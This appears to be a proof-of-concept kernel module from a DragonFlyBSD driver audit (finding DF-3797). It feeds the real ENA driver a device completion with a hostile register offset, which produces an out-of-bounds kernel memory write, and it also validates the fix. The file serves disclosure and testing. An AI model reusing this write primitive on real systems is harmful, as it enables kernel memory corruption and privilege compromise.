โฌข DragonFlyBSD Kernel Audit
DF-3797 / enafull.c
โ† back to finding โ†“ download raw
/*
 * DF-3797 โ€” full-path protocol replica: drives the REAL
 * ena_com_create_io_cq() (compiled unmodified from the audited tree)
 * through a real admin-queue submission, with a "device side" completion
 * that carries a hostile cq_interrupt_unmask_register_offset. The
 * completion bytes are the only simulated input โ€” exactly what a malicious
 * nitro device controls. The reply then flows through the driver's own
 * code path into io_cq->unmask_reg, and the driver's own
 * ena_com_unmask_intr() performs the write at (BAR + device offset).
 *
 * With the pack's fix.diff applied to the ena-com copy, the same run must
 * return ENA_COM_INVAL from ena_com_create_io_cq and perform no write โ€”
 * that is the fix validation.
 *
 * sysctl hw.enafull=<1>  : run baseline (unpatched) demonstration
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/types.h>
#include <sys/malloc.h>
#include <sys/module.h>
#include <sys/sysctl.h>
#include <vm/pmap.h>

/* Single translation unit: pull in the REAL ena-com implementation so the
 * real (static) internals โ€” ena_com_create_io_cq, admin submit/complete โ€”
 * are driven verbatim. */
#ifdef ENAFULL_FIXED
#include "ena-com-fix/ena_com.c"
#include "ena-com-fix/ena_eth_com.c"
#else
#include "ena-com/ena_com.c"
#include "ena-com/ena_eth_com.c"
#endif

/* normally defined in ena.c:186; referenced by the ena-com trace macros */
int ena_log_level = ENA_ALERT | ENA_WARNING;

static struct ena_com_dev ena_dev;
static struct ena_bus bus;
static struct ena_com_io_cq io_cq;
static void *aq_buf, *acq_buf, *cdesc_buf;
static vm_offset_t fake_bar;

/* normally defined in ena.c:205-268 โ€” the whole ena_com.c is compiled into
 * this module, so the link-time references need a stand-in. Plain kernel
 * memory plays the coherent-DMA role. */
void
ena_dmamap_callback(void *arg, bus_dma_segment_t *segs, int nseg, int error)
{
	if (error != 0)
		return;
	*(bus_addr_t *)arg = segs[0].ds_addr;
}

int
ena_dma_alloc(device_t dmadev, bus_size_t size, ena_mem_handle_t *dma,
    int mapflags)
{
	dma->vaddr = kmalloc(size, M_DEVBUF, M_WAITOK | M_ZERO);
	if (dma->vaddr == NULL)
		return (ENOMEM);
	dma->paddr = (bus_addr_t)vtophys((vm_offset_t)dma->vaddr);
	dma->tag = NULL;
	dma->map = NULL;
	return (0);
}

static int enafull_sysctl(SYSCTL_HANDLER_ARGS);
SYSCTL_PROC(_hw, OID_AUTO, enafull, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, enafull_sysctl, "I", "ENA DF-3797 full-path replica trigger");

static int
enafull_setup(uint32_t *out_off, uint32_t **out_victim)
{
	struct ena_com_admin_queue *aq = &ena_dev.admin_queue;
	struct ena_com_io_desc_addr *cd = &io_cq.cdesc_addr;
	int rc;

	memset(&ena_dev, 0, sizeof(ena_dev));
	memset(&bus, 0, sizeof(bus));
	memset(&io_cq, 0, sizeof(io_cq));

	/*
	 * Fake BAR: one page mapped like bus_alloc_resource() would map a
	 * memory BAR; a second, independently mapped page is the victim
	 * (unrelated kernel mapping, lands right above the BAR).
	 */
	{
		uint8_t *p1 = kmalloc(PAGE_SIZE, M_DEVBUF, M_WAITOK | M_ZERO);
		uint8_t *p2 = kmalloc(PAGE_SIZE, M_DEVBUF, M_WAITOK | M_ZERO);
		vm_offset_t h2;

		fake_bar = (vm_offset_t)pmap_mapdev(vtophys((vm_offset_t)p1),
		    PAGE_SIZE);
		h2 = (vm_offset_t)pmap_mapdev(vtophys((vm_offset_t)p2),
		    PAGE_SIZE);
		if ((uint64_t)(h2 + 8) - (uint64_t)fake_bar >= 0x100000000ULL) {
			kprintf("enafull: victim mapping not above BAR "
			    "(bar=%p h2=%p)\n", (void *)fake_bar, (void *)h2);
			return (ENXIO);
		}
		*out_off = (uint32_t)((uint64_t)(h2 + 8) - (uint64_t)fake_bar);
		*out_victim = (uint32_t *)(h2 + 8);
		(*out_victim)[0] = 0xa1b2c3d4;
		(*out_victim)[1] = 0xfeedface;
		kfree(p1, M_DEVBUF);
		kfree(p2, M_DEVBUF);
	}

	/* Faithful port state (ena.c:3671-3683): reg_bar never assigned. */
	bus.reg_bar_t = X86_64_BUS_SPACE_MEM;
	bus.reg_bar_h = fake_bar;
	ena_dev.reg_bar = NULL;		/* the port bug: stays NULL */
	ena_dev.bus = &bus;
	ena_dev.dmadev = NULL;
	ena_dev.dma_addr_bits = 48;
#ifdef ENAFULL_FIXED
	/* ena.c's part of fix.diff stores rman_get_size(registers) here;
	 * the replica's BAR stand-in is one page. */
	ena_dev.reg_bar_len = PAGE_SIZE;
#endif

	/* Admin queue: the fields ena_com_admin_init() would set, with plain
	 * kmalloc playing the coherent DMA allocations. */
	aq->q_depth = ENA_ADMIN_QUEUE_DEPTH;
	aq->bus = &bus;
	aq->q_dmadev = NULL;
	aq->polling = true;
	aq->curr_cmd_id = 0;
	ATOMIC32_SET(&aq->outstanding_cmds, 0);
	ENA_SPINLOCK_INIT(aq->q_lock);
	aq->running_state = true;
	aq->completion_timeout = 5000000;	/* 5s, in usec */

	aq_buf = kmalloc(ADMIN_SQ_SIZE(aq->q_depth), M_DEVBUF,
	    M_WAITOK | M_ZERO);
	acq_buf = kmalloc(ADMIN_CQ_SIZE(aq->q_depth), M_DEVBUF,
	    M_WAITOK | M_ZERO);
	aq->sq.entries = aq_buf;
	aq->sq.dma_addr = vtophys((vm_offset_t)aq_buf);
	aq->sq.head = 0;
	aq->sq.tail = 0;
	aq->sq.phase = 1;
	aq->sq.db_addr = (uint32_t *)(uintptr_t)ENA_REGS_AQ_DB_OFF; /* reg_bar(0)+off */

	aq->cq.entries = acq_buf;
	aq->cq.dma_addr = vtophys((vm_offset_t)acq_buf);
	aq->cq.head = 0;
	aq->cq.phase = 1;

	/* real ena-com helper: allocates + wait-event-inits comp_ctx[] */
	rc = ena_com_init_comp_ctxt(aq);
	if (rc != 0)
		return (rc);

	/* IO CQ to create (subset of ena_com_create_io_queue's init). */
	io_cq.q_depth = 64;
	io_cq.direction = ENA_COM_IO_QUEUE_DIRECTION_RX;
	io_cq.qid = 1;
	io_cq.msix_vector = 1;
	io_cq.cdesc_entry_size_in_bytes = sizeof(struct ena_eth_io_rx_cdesc_base);
	io_cq.bus = &bus;

	cdesc_buf = kmalloc(io_cq.cdesc_entry_size_in_bytes * io_cq.q_depth,
	    M_DEVBUF, M_WAITOK | M_ZERO);
	cd->virt_addr = cdesc_buf;
	cd->phys_addr = vtophys((vm_offset_t)cdesc_buf);

	return (0);
}

/*
 * "Device side": lay a CREATE_CQ completion into the admin CQ with a
 * hostile unmask-register offset. This is the exact memory a malicious
 * device DMA-writes as the reply to the CREATE_CQ command.
 */
static void
enafull_device_reply(uint32_t hostile_off)
{
	struct ena_admin_acq_create_cq_resp_desc *resp;

	resp = (struct ena_admin_acq_create_cq_resp_desc *)
	    ena_dev.admin_queue.cq.entries;
	memset(resp, 0, sizeof(*resp));
	resp->acq_common_desc.command = 0;	/* first command's id */
	resp->acq_common_desc.status = 0;	/* ENA_ADMIN_SUCCESS */
	resp->acq_common_desc.flags = ENA_ADMIN_ACQ_COMMON_DESC_PHASE_MASK
	    & (ena_dev.admin_queue.cq.phase);	/* expected phase */
	resp->cq_idx = 7;
	resp->cq_actual_depth = 64;
	resp->numa_node_register_offset = 0;
	resp->cq_head_db_register_offset = 0;
	resp->cq_interrupt_unmask_register_offset = hostile_off;

	kprintf("enafull: device wrote completion: cq_idx=%u "
	    "unmask_offset=0x%08x\n", resp->cq_idx, hostile_off);
}

static int
enafull_run(void)
{
	uint32_t hostile_off, *victim;
	int rc;
	struct ena_eth_io_intr_reg intr_reg;

	rc = enafull_setup(&hostile_off, &victim);
	if (rc != 0)
		return (rc);

	kprintf("enafull: BAR=%p hostile unmask offset=0x%08x victim=%p\n",
	    (void *)fake_bar, hostile_off, victim);
	kprintf("enafull: victim before: %08x %08x\n", victim[0], victim[1]);

	/* The malicious device reply, then the REAL driver call. */
	enafull_device_reply(hostile_off);

	rc = ena_com_create_io_cq(&ena_dev, &io_cq);	/* REAL PATH */
	kprintf("enafull: ena_com_create_io_cq() = %d "
	    "(io_cq.idx=%u unmask_reg=%p)\n",
	    rc, io_cq.idx, io_cq.unmask_reg);
	if (rc != 0) {
		kprintf("enafull: queue creation rejected โ€” "
		    "NO WRITE PERFORMED (fix active)\n");
		return (0);
	}

	/* Real driver sink (ena.c:1809-1813 in ena_handle_msix). */
	ena_com_update_intr_reg(&intr_reg, 20, 50, true);
	kprintf("enafull: intr_control=0x%08x -> ena_com_unmask_intr()\n",
	    intr_reg.intr_control);
	ena_com_unmask_intr(&io_cq, &intr_reg);

	kprintf("enafull: victim after : %08x %08x\n", victim[0], victim[1]);
	if (victim[0] == intr_reg.intr_control)
		kprintf("enafull: VICTIM OVERWRITTEN via device-chosen "
		    "register offset โ€” primitive confirmed\n");
	else
		kprintf("enafull: victim unchanged\n");
	return (0);
}

static int
enafull_sysctl(SYSCTL_HANDLER_ARGS)
{
	int error, mode = 0;

	error = sysctl_handle_int(oidp, &mode, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (mode != 1)
		return (EINVAL);
	return (enafull_run());
}

static int
enafull_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("enafull: DF-3797 full-path replica loaded "
		    "(sysctl hw.enafull=1)\n");
		return (0);
	case MOD_UNLOAD:
		return (0);
	}
	return (EOPNOTSUPP);
}

static moduledata_t enafull_mod = { "enafull", enafull_modevent, 0 };
DECLARE_MODULE(enafull, enafull_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);